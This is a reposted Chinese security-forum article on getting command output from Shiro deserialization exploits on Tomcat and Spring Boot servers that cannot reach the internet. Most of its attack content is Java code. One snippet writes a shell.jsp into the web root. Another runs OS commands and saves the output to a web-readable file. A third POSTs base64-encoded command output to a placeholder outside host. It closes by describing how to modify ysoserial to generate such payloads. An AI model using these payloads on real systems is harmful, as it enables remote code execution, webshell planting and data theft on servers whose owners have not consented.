安全矩阵

 找回密码
 立即注册
搜索
查看: 4486|回复: 0

反序列化Tomcat容器探究

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-20 20:46:53 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-4-20 20:48 编辑

本文转自:安服仔
原文链接:反序列化Tomcat容器探究

前言

最近碰到很多shiro反序列化漏洞,但是网上的poc基本都是基于dnslog来进行验证,这样在目标主机无法出网的情况下就难以发现并利用漏洞,本文以shiro反序列化为例,实现了在目标主机无法出网的情况下能够回显执行命令的结果(Tomcat),也希望能够引起大家对于一些反序列化漏洞利用方式的思考。

文章主要参考了知乎Litch1师傅的《Tomcat的一种通用回显方法研究》一文,还有文中所提及的几位大佬先知上的文章。文中指出”Thread.currentThread.getContextClassLoader()“方法,该方法获取到的classLoader里面有大量的Tomcat容器信息,的确是可以找到很多可以利用的点。


奇思妙旅的开始
  首先在Esclipse上用Tomcat8.0的服务器调试

为了方便调试直接获取一个ClassLoader cl;


发现cl->resources->context->docBase存有Tomcat的物理路径信息。




其实这里面的cl的classloader是Tomcat自定义的ParallelWebappClassLoader


而ParallelWebappClassLoader继承自WebappClassLoaderBase


而WebappClassLoaderBase则有一些比较好用的方法。




可以通过getResources()方法直接获取当前classLoader的资源。
  1. WebappClassLoaderBase WCLB= (org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
  2.     StandardRoot WRR=(StandardRoot) WCLB.getResources();
  3.     StandardContext cc= (StandardContext) WRR.getContext();
  4.     String path= cc.getDocBase();
复制代码
最终可以通过上述方法获取当前web的运行路径。

获取当前web路径后其实就可以直接写shell了
  1. java.io.FileOutputStream a= new java.io.FileOutputStream(((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext().getDocBase()+"/shell.jsp");a.write("shell".getBytes());a.close();
复制代码


但是当用这种方法测试本地搭建的shiro环境时发现失败了,本地shiro环境我用的是tomcat8.5环境,发现其8.5的getDocBase


值不是物理路径



然后又继续寻找一个较为通用的方法,发现StandardRoot 中有个getBaseUrls



发现其返回值也是网站的物理路径


  1. ((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()
复制代码

在8.5的tomcat输出一下


确实获取到了物理路径。通过这种方式可以很好的去找到网站的物理路径写shell就显得很轻松了。

但是实际过程中发现了springboot的站点没成功

但本地搭建springboot环境的时候发现

这个baseurl中还是有值的。







在这个文件夹中写文件,是可以通过web访问的




因此可以用这种思路来进行命令回显,但有个缺点就是需要在网站目录写文件。
  1. String cmd = "whoami";
  2. String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };
  3. java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  4. java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
  5. String output = s.hasNext() ? s.next() : "";
  6. java.io.FileOutputStream a= new java.io.FileOutputStream(((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()+"/result.txt");
  7. a.write(output.getBytes());
  8. a.close();
复制代码


将命令回显写到网站的根目录然后进行读取

在研究的过程中发现如果网站出网,但是在windows环境或者不能反弹shell的环境下也可以通过下面的方式进行命令回显
  1. String cmd = "whoami";
  2. String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };
  3. java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  4. java.util.Scanner s1 = new java.util.Scanner(in).useDelimiter("\\a");
  5. String output = s1.hasNext() ? s1.next() : "";
  6. java.net.HttpURLConnection c = (java.net.HttpURLConnection) new java.net.URL("http://xxxxx/xxx.php").openConnection();
  7. c.setRequestMethod("POST");
  8. c.setDoInput(true);
  9. c.setDoOutput(true);
  10. java.io.PrintWriter out = new java.io.PrintWriter(c.getOutputStream());
  11. String s="k="+ java.util.Base64.getEncoder().encodeToString(output.getBytes("utf-8"));
  12. System.out.println(s);
  13. out.print(s);
  14. out.flush();
  15. c.getResponseCode();
复制代码
将命令的结果通过post的方式发送出去,从而获取回显的命令。

接下来的事就是修改ysoserial代码使其可以根据上述代码生成对应payload了

修改ysoserial代码参考了c0ny1师傅的《使ysoserial支持执行自定义代码》一文效果如下


  

exp演示如下



















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-19 08:19 , Processed in 0.022663 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表